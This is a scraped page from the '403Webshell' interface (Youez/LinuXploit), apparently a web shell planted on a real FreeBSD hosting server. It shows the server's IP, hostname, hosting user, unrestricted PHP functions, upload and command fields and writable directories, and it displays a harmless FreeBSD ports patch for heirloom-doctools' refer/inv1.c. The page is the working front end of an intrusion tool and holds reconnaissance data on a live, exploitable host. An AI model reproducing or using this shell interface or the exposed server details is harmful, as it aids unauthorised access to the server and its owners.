403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/heirloom-doctools/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/heirloom-doctools/files/patch-refer_inv1.c
--- refer/inv1.c.orig	2016-03-09 21:27:38 UTC
+++ refer/inv1.c
@@ -28,6 +28,9 @@
 #include <stdio.h>
 #include <locale.h>
 #include <assert.h>
+#ifdef __FreeBSD__
+#include <paths.h>
+#endif
 #include <stdlib.h>
 #include <string.h>
 #include "refer..c"
@@ -59,7 +62,11 @@ main(int argc, char **argv)
 	int iflong =0;
 	char *sortdir;
 
+#ifdef __FreeBSD__
+	sortdir = _PATH_VARTMP;
+#else
 	sortdir = (access("/crp/tmp", 06)==0) ? "/crp/tmp" : "/var/tmp";
+#endif
 	while (argc>1 && argv[1][0] == '-')
 	{
 		switch(argv[1][1])

Youez - 2016 - github.com/yon3zu
LinuXploit